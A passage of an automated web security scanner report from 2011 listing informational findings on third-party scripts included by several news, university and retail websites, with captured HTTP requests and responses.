http://connect.facebook.net/en_US/all.js
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://partner.googleadservices.com/gampad/google_service.js
http://services.picadmedia.com/js/picad.js
http://stats.wordpress.com/e-201138.js
http://www.google.com/cse/brand?form=cse-search-box&lang=en
http://www.google.com/jsapi

Request

Response

13.51. http://www.ilovefreesoftware.com/wp-content/w3tc/min/abb96/default.include-footer.28a678.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ilovefreesoftware.com
Path:	/wp-content/w3tc/min/abb96/default.include-footer.28a678.js

Issue detail

The response dynamically includes the following scripts from other domains:

http://connect.facebook.net/en_US/all.js
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://partner.googleadservices.com/gampad/google_service.js
http://services.picadmedia.com/js/picad.js
http://stats.wordpress.com/e-201138.js
http://www.google.com/cse/brand?form=cse-search-box&lang=en
http://www.google.com/jsapi

Request

Response

HTTP/1.1 404 Not found
Date: Mon, 19 Sep 2011 19:16:25 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-CF-Powered-By: WP 1.1.7
X-Pingback: http://www.ilovefreesoftware.com/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.2.4
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Last-Modified: Mon, 19 Sep 2011 19:16:26 GMT
Content-Length: 31797
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html><html dir="ltr" lang="en-US"><head><script type="text/javascript" src="http://cdn.ilovefreesoftware.com/wp-content/w3tc/min/abb96/default.include.4a6bbc.js"></script><meta http-equiv="C
...[SNIP]...
<div id="header"><script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'></script>
...[SNIP]...
<div class="googlesearch"><script type="text/javascript" src="http://www.google.com/jsapi"></script>
...[SNIP]...
</form><script type="text/javascript" src="http://www.google.com/cse/brand?form=cse-search-box&lang=en"></script>
...[SNIP]...
</script><script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
<div style="background-color:white;"><script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...
</script> <script src="http://services.picadmedia.com/js/picad.js"
type="text/javascript"></script>
...[SNIP]...
</div><script src="http://stats.wordpress.com/e-201138.js" type="text/javascript"></script>
...[SNIP]...

13.52. http://www.ilovefreesoftware.com/wp-content/w3tc/min/abb96/default.include.4a6bbc.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ilovefreesoftware.com
Path:	/wp-content/w3tc/min/abb96/default.include.4a6bbc.js

Issue detail

The response dynamically includes the following scripts from other domains:

http://connect.facebook.net/en_US/all.js
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://partner.googleadservices.com/gampad/google_service.js
http://services.picadmedia.com/js/picad.js
http://stats.wordpress.com/e-201138.js
http://www.google.com/cse/brand?form=cse-search-box&lang=en
http://www.google.com/jsapi

Request

Response

HTTP/1.1 404 Not found
Date: Mon, 19 Sep 2011 19:16:25 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-CF-Powered-By: WP 1.1.7
X-Pingback: http://www.ilovefreesoftware.com/xmlrpc.php
X-Powered-By: W3 Total Cache/0.9.2.4
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Last-Modified: Mon, 19 Sep 2011 19:16:25 GMT
Content-Length: 31783
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html><html dir="ltr" lang="en-US"><head><script type="text/javascript" src="http://cdn.ilovefreesoftware.com/wp-content/w3tc/min/abb96/default.include.4a6bbc.js"></script><meta http-equiv="C
...[SNIP]...
<div id="header"><script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'></script>
...[SNIP]...
<div class="googlesearch"><script type="text/javascript" src="http://www.google.com/jsapi"></script>
...[SNIP]...
</form><script type="text/javascript" src="http://www.google.com/cse/brand?form=cse-search-box&lang=en"></script>
...[SNIP]...
</script><script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
<div style="background-color:white;"><script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...
</script> <script src="http://services.picadmedia.com/js/picad.js"
type="text/javascript"></script>
...[SNIP]...
</div><script src="http://stats.wordpress.com/e-201138.js" type="text/javascript"></script>
...[SNIP]...

13.53. http://www.infoworld.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://api.demandbase.com/api/v1/ip.json?token=cee711554501392246965521cfb9ab9aa83ae949&callback=OPG.Demandbase.dbase_parse
http://content.dl-rms.com/rms/mother/574/nodetag.js
http://jlinks.industrybrains.com/jsct?sid=758&ct=INFOWORLDCOM_ROS&num=5&layt=2&fmt=simp
http://www.dinclinx.com/?s=1051&e=0&t=695&f=javascript

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:30:38 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: HIT
Etag: "1316460187-0"
Cheac-Control: public, max-age=0, public, max-age=600
Last-Modified: Mon, 19 Sep 2011 19:23:07 +0000
piExres: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Expires: Thu, 01 Jan 1970 00:00:01 GMT
Cache-Control: max-age=300 ,public
Content-Length: 89708

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
xml:lang="en"
lang="en"
dir
...[SNIP]...
</script>
<script type="text/javascript" src="http://api.demandbase.com/api/v1/ip.json?token=cee711554501392246965521cfb9ab9aa83ae949&callback=OPG.Demandbase.dbase_parse"></script>
...[SNIP]...
<div id="block-block-51" class="clear-block block block-block">
<script type="text/javascript" src="http://content.dl-rms.com/rms/mother/574/nodetag.js"></script>
...[SNIP]...
<div id="block-infoworld-itwhitepapers" class="clear-block block block-infoworld">
<script type="text/javascript" src="http://www.dinclinx.com/?s=1051&e=0&t=695&f=javascript"></script>
...[SNIP]...
<div id="block-infoworld-technology_marketplace" class="clear-block block block-infoworld">
<script type="text/javascript" src="http://jlinks.industrybrains.com/jsct?sid=758&ct=INFOWORLDCOM_ROS&num=5&layt=2&fmt=simp"></script>
...[SNIP]...

13.54. http://www.itworld.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://api.demandbase.com/api/v1/ip.json?token=2bfb26e0f878776f913fb41e5aa2daecc7ba0637&callback=OPG.Demandbase.dbase_parse
http://api.demandbase.com/api/v1/ip.json?token=bacca8eba8bded95b5dd46f7a3d8ebc282966537&callback=dbase_parse
http://content.dl-rms.com/rms/mother/28184/nodetag.js
http://platform.twitter.com/widgets.js
http://serve.a-widget.com/kickFlash/scripts/swfobject2.js?2
http://w.sharethis.com/button/buttons.js
http://www.google-analytics.com/urchin.js
http://www.google.com/jsapi
http://www.simplyhired.com/c/job-widget/js/widget.js

Request

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:17:14 +0000
Vary: Cookie
ETag: "1316459834"
Content-Type: text/html; charset=utf-8
Content-Length: 158706
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:17:30 GMT
X-Varnish: 1959717589 1959717097
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 2
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="description" content="IT news and breaking technology stories covering IT security, cloud computing, virtualization, and more." />
<script type="text/javascript" src="http://www.google.com/jsapi"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://api.demandbase.com/api/v1/ip.json?token=2bfb26e0f878776f913fb41e5aa2daecc7ba0637&callback=OPG.Demandbase.dbase_parse"></script>
<script type="text/javascript" src="http://serve.a-widget.com/kickFlash/scripts/swfobject2.js?2" ></script>
<script type="text/javascript" src="http://serve.a-widget.com/kickFlash/scripts/swfobject2.js?2" ></script>
...[SNIP]...
</script><script type="text/javascript" src="http://www.simplyhired.com/c/job-widget/js/widget.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
<script type="text/javascript" src="http://w.sharethis.com/button/buttons.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://api.demandbase.com/api/v1/ip.json?token=bacca8eba8bded95b5dd46f7a3d8ebc282966537&callback=dbase_parse"></script>
...[SNIP]...

<script type="text/javascript" src="http://content.dl-rms.com/rms/mother/28184/nodetag.js"></script>
...[SNIP]...

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript"></script>
...[SNIP]...

13.55. http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run

Issue detail

The response dynamically includes the following scripts from other domains:

http://api.demandbase.com/api/v1/ip.json?token=2bfb26e0f878776f913fb41e5aa2daecc7ba0637&callback=OPG.Demandbase.dbase_parse
http://api.demandbase.com/api/v1/ip.json?token=bacca8eba8bded95b5dd46f7a3d8ebc282966537&callback=dbase_parse
http://content.dl-rms.com/rms/mother/28184/nodetag.js
http://jlinks.industrybrains.com/jsct?sid=123&ct=ITWORLD_HOME&num=5&layt=2&fmt=simp
http://platform.twitter.com/widgets.js
http://w.sharethis.com/button/buttons.js
http://www.google-analytics.com/urchin.js
http://www.google.com/jsapi
http://www.simplyhired.com/c/job-widget/js/widget.js

Request

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:59 +0000
Vary: Cookie
ETag: "1316460419"
Content-Type: text/html; charset=utf-8
Content-Length: 121026
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:27:04 GMT
X-Varnish: 1038163183
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="description" content="If you think using a false identity will allow you to slander or harass people online, think again. Anonymity will not save you. " />
<script type="text/javascript" src="http://www.google.com/jsapi"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://api.demandbase.com/api/v1/ip.json?token=2bfb26e0f878776f913fb41e5aa2daecc7ba0637&callback=OPG.Demandbase.dbase_parse"></script>
...[SNIP]...
</script><script type="text/javascript" src="http://www.simplyhired.com/c/job-widget/js/widget.js"></script>
...[SNIP]...
<div id="techwords"><script type="text/javascript" src="http://jlinks.industrybrains.com/jsct?sid=123&ct=ITWORLD_HOME&num=5&layt=2&fmt=simp"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
<script type="text/javascript" src="http://w.sharethis.com/button/buttons.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://api.demandbase.com/api/v1/ip.json?token=bacca8eba8bded95b5dd46f7a3d8ebc282966537&callback=dbase_parse"></script>
...[SNIP]...

<script type="text/javascript" src="http://content.dl-rms.com/rms/mother/28184/nodetag.js"></script>
...[SNIP]...

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript"></script>
...[SNIP]...

13.56. http://www.law.com/jsp/lawtechnologynews/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.law.com
Path:	/jsp/lawtechnologynews/index.jsp

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js
http://careers.lawjobs.com/js/xmlScrollView.js
http://careers.lawjobs.com/qjs?clientid=lawjobs&stringVar=xmlString&kOrTitle=partner%2C+attorney%2C+judge%2C+litigator%2C+counsel%2C+lawyer%2C+associate%2C+dean%2C&kAndEntire=;country=United+States;state=;jobSources=litigationsupport/IT;&pageSize=2&outFormat=jsxml&nopageview=1&nouniquevisitor=1
http://html5.kaltura.org/js

Request

Response

13.57. http://www.lifehacker.com.au/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.lifehacker.com.au
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://code.jquery.com/jquery.min.js
http://edge.alluremedia.com.au/g/base.v1/js/common.js
http://edge.alluremedia.com.au/g/base.v1/js/sticky.js
http://partner.googleadservices.com/gampad/google_service.js
http://s7.addthis.com/js/152/addthis_widget.js
http://secure-au.imrworldwide.com/v60.js

Request

GET / HTTP/1.1
Host: www.lifehacker.com.au
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:16:13 GMT
Server: Apache
Last-Modified: Mon, 19 Sep 2011 18:27:37 GMT
ETag: "6aa3ff-cd90-4ad4f7f52d840"
Accept-Ranges: bytes
Cache-Control: max-age=3, must-revalidate
Expires: Mon, 19 Sep 2011 19:16:16 GMT
Vary: Accept-Encoding,Cookie
Content-Length: 52624
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">
<head>

...[SNIP]...
<![endif]-->
   <script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'>
   </script>
...[SNIP]...
</script>
   <script type="text/javascript" src="http://edge.alluremedia.com.au/g/base.v1/js/common.js"></script>
...[SNIP]...
</style>
   <script type="text/javascript" src="http://code.jquery.com/jquery.min.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/152/addthis_widget.js"></script>
...[SNIP]...
<![if ! IE 6]>
       <script type="text/javascript" src="http://edge.alluremedia.com.au/g/base.v1/js/sticky.js"></script>
   <![endif]>
   <script type="text/javascript" src="//secure-au.imrworldwide.com/v60.js">
   </script>
...[SNIP]...

13.58. http://www.lifehacker.com.au/2011/09/australian-companies-concentrating-on-mobile-site-development-at-last/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.lifehacker.com.au
Path:	/2011/09/australian-companies-concentrating-on-mobile-site-development-at-last/

Issue detail

The response dynamically includes the following scripts from other domains:

http://code.jquery.com/jquery.min.js
http://edge.alluremedia.com.au/g/base.v1/js/common.js
http://edge.alluremedia.com.au/g/base.v1/js/sticky.js
http://partner.googleadservices.com/gampad/google_service.js
http://platform.twitter.com/widgets.js
http://s7.addthis.com/js/152/addthis_widget.js
http://secure-au.imrworldwide.com/v60.js
https://apis.google.com/js/plusone.js

Request

GET /2011/09/australian-companies-concentrating-on-mobile-site-development-at-last/ HTTP/1.1
Host: www.lifehacker.com.au
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.lifehacker.com.au/
Cookie: __utma=263991313.1601809320.1316477822.1316477822.1316477822.1; __utmb=263991313.2.9.1316477824096; __utmc=263991313; __utmz=263991313.1316477824.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; _em_vt=e50760d7732cfc9f57f9d928fce04e4bf6a560aa60-428426584e779518; _em_v=3594f2c8e2a8c8b469b0a552d1ee4e77951862c3f1-255644014e779518; _chartbeat2=07hz8infxerk29hp.1316477971725

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:28:06 GMT
Server: Apache
Last-Modified: Mon, 19 Sep 2011 18:36:30 GMT
ETag: "766010-9cc7-4ad4f9f17c780;4ad09d41fb000"
Accept-Ranges: bytes
Cache-Control: max-age=3, must-revalidate
Expires: Mon, 19 Sep 2011 19:28:09 GMT
Vary: Accept-Encoding,Cookie
Content-Length: 40135
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">
<head>

...[SNIP]...
<![endif]-->
   <script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'>
   </script>
...[SNIP]...
</script>
   <script type="text/javascript" src="http://edge.alluremedia.com.au/g/base.v1/js/common.js"></script>
...[SNIP]...
</style>
   <script type="text/javascript" src="http://code.jquery.com/jquery.min.js"></script>
...[SNIP]...
</a>
<script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
...[SNIP]...
<div class="like">
       <script type="text/javascript" src="https://apis.google.com/js/plusone.js"></script>
...[SNIP]...
</a><script type="text/javascript" src="http://s7.addthis.com/js/152/addthis_widget.js"></script>
...[SNIP]...
</div>
<script type="text/javascript" src="http://code.jquery.com/jquery.min.js"></script>
...[SNIP]...
<![if ! IE 6]>
       <script type="text/javascript" src="http://edge.alluremedia.com.au/g/base.v1/js/sticky.js"></script>
   <![endif]>
   <script type="text/javascript" src="//secure-au.imrworldwide.com/v60.js">
   </script>
...[SNIP]...

13.59. http://www.lifehacker.com.au/2011/09/how-to-cope-with-the-qantas-strike-disruption/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.lifehacker.com.au
Path:	/2011/09/how-to-cope-with-the-qantas-strike-disruption/

Issue detail

The response dynamically includes the following scripts from other domains:

http://code.jquery.com/jquery.min.js
http://edge.alluremedia.com.au/g/base.v1/js/common.js
http://edge.alluremedia.com.au/g/base.v1/js/sticky.js
http://partner.googleadservices.com/gampad/google_service.js
http://platform.twitter.com/widgets.js
http://s7.addthis.com/js/152/addthis_widget.js
http://secure-au.imrworldwide.com/v60.js
https://apis.google.com/js/plusone.js

Request

GET /2011/09/how-to-cope-with-the-qantas-strike-disruption/ HTTP/1.1
Host: www.lifehacker.com.au
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.lifehacker.com.au/2011/09/australian-companies-concentrating-on-mobile-site-development-at-last/
X-Moz: prefetch
Cookie: __utma=263991313.1601809320.1316477822.1316477822.1316477822.1; __utmb=263991313.11.2.1316478299599; __utmc=263991313; __utmz=263991313.1316477824.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; _em_vt=e50760d7732cfc9f57f9d928fce04e4bf6a560aa60-428426584e779518; _em_v=3594f2c8e2a8c8b469b0a552d1ee4e77951862c3f1-255644014e779518; _chartbeat2=07hz8infxerk29hp.1316477971725

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:28:07 GMT
Server: Apache
Last-Modified: Mon, 19 Sep 2011 18:53:58 GMT
ETag: "7622e2-7f1b-4ad4fdd8efd80;4ad09d41fb000"
Accept-Ranges: bytes
Cache-Control: max-age=3, must-revalidate
Expires: Mon, 19 Sep 2011 19:28:10 GMT
Vary: Accept-Encoding,Cookie
Content-Length: 32539
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">
<head>

...[SNIP]...
<![endif]-->
   <script type='text/javascript' src='http://partner.googleadservices.com/gampad/google_service.js'>
   </script>
...[SNIP]...
</script>
   <script type="text/javascript" src="http://edge.alluremedia.com.au/g/base.v1/js/common.js"></script>
...[SNIP]...
</style>
   <script type="text/javascript" src="http://code.jquery.com/jquery.min.js"></script>
...[SNIP]...
</a>
<script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
...[SNIP]...
<div class="like">
       <script type="text/javascript" src="https://apis.google.com/js/plusone.js"></script>
...[SNIP]...
</a><script type="text/javascript" src="http://s7.addthis.com/js/152/addthis_widget.js"></script>
...[SNIP]...
</div>
<script type="text/javascript" src="http://code.jquery.com/jquery.min.js"></script>
...[SNIP]...
<![if ! IE 6]>
       <script type="text/javascript" src="http://edge.alluremedia.com.au/g/base.v1/js/sticky.js"></script>
   <![endif]>
   <script type="text/javascript" src="//secure-au.imrworldwide.com/v60.js">
   </script>
...[SNIP]...

13.60. https://www.merchantlink.com/logon/log_log_page.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.merchantlink.com
Path:	/logon/log_log_page.jsp

Issue detail

The response dynamically includes the following script from another domain:

https://sealserver.trustkeeper.net/compliance/seal_js.php?code=w6opVcxxrhnnVGcTgYfZ1FWOOTLBnG

Request

Response

13.61. http://www.mtholyoke.edu/index.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.mtholyoke.edu
Path:	/index.html

Issue detail

The response dynamically includes the following script from another domain:

http://www.google.com/coop/cse/brand?form=cse-search-box&lang=en

Request

GET /index.html HTTP/1.1
Host: www.mtholyoke.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 16:42:29 GMT
Server: Apache/2.2.3 (Red Hat)
Accept-Ranges: bytes
Content-Type: text/html
Content-Length: 25066

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<
...[SNIP]...
</form><script src="http://www.google.com/coop/cse/brand?form=cse-search-box&lang=en" type="text/javascript">
</script>
...[SNIP]...

13.62. http://www.mtholyoke.edu/lits/learn/resources_faculty.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.mtholyoke.edu
Path:	/lits/learn/resources_faculty.html

Issue detail

The response dynamically includes the following script from another domain:

http://www.google.com/coop/cse/brand?form=cse-search-box&lang=en

Request

GET /lits/learn/resources_faculty.html HTTP/1.1
Host: www.mtholyoke.edu
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=107387742.1737426368.1316468600.1316468600.1316468600.1; __utmb=107387742.1.10.1316468600; __utmc=107387742; __utmz=107387742.1316468600.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 16:42:33 GMT
Server: Apache/2.2.3 (Red Hat)
Accept-Ranges: bytes
Content-Type: text/html
Content-Length: 22556

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<
...[SNIP]...
</form><script src="http://www.google.com/coop/cse/brand?form=cse-search-box&lang=en" type="text/javascript">
</script>
...[SNIP]...

13.63. https://www.onekingslane.com/contact-us previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.onekingslane.com
Path:	/contact-us

Issue detail

The response dynamically includes the following scripts from other domains:

https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js
https://ajax.googleapis.com/ajax/libs/jqueryui/1.8.14/jquery-ui.min.js

Request

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Type: text/html
Date: Mon, 19 Sep 2011 21:55:51 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: Apache
Set-Cookie: ZDEDebuggerPresent=php,phtml,php3; path=/
Vary: Accept-Encoding
Content-Length: 17497
Connection: keep-alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html
xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"
xmlns:og="
...[SNIP]...
<head>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.8.14/jquery-ui.min.js"></script>
...[SNIP]...

13.64. https://www.onekingslane.com/corporate/careers/tech/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.onekingslane.com
Path:	/corporate/careers/tech/

Issue detail

The response dynamically includes the following scripts from other domains:

https://ajax.googleapis.com/ajax/libs/jquery/1.6.0/jquery.min.js
https://connect.facebook.net/en_US/all.js
https://platform.linkedin.com/in.js

Request

Response

HTTP/1.1 200 OK
Content-Type: text/html
Date: Mon, 19 Sep 2011 21:55:56 GMT
Server: Apache
Set-Cookie: ZDEDebuggerPresent=php,phtml,php3; path=/
Vary: Accept-Encoding
Content-Length: 20429
Connection: keep-alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<link href="css/careersPage.css" rel="stylesheet" type="text/css">

<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.6.0/jquery.min.js"></script>
...[SNIP]...
<div style="position:absolute; top: 8px; left: 70px;">
<script type="text/javascript" src="https://platform.linkedin.com/in.js"></script>
...[SNIP]...
</div><script src="https://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...

13.65. https://www.onekingslane.com/join previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.onekingslane.com
Path:	/join

Issue detail

The response dynamically includes the following scripts from other domains:

https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js
https://ajax.googleapis.com/ajax/libs/jqueryui/1.8.14/jquery-ui.min.js
https://cdn.optimizely.com/js/7259088.js
https://sec.levexis.com/clientfiles/v3/onekingslane.js

Request

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Type: text/html
Date: Mon, 19 Sep 2011 21:55:12 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: Apache
Set-Cookie: ZDEDebuggerPresent=php,phtml,php3; path=/
Vary: Accept-Encoding
Content-Length: 15867
Connection: keep-alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html>
<head>
<script type="text/javascript" src="//cdn.optimizely.com/js/7259088.js"></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.8.14/jquery-ui.min.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="https://sec.levexis.com/clientfiles/v3/onekingslane.js"></script>
...[SNIP]...

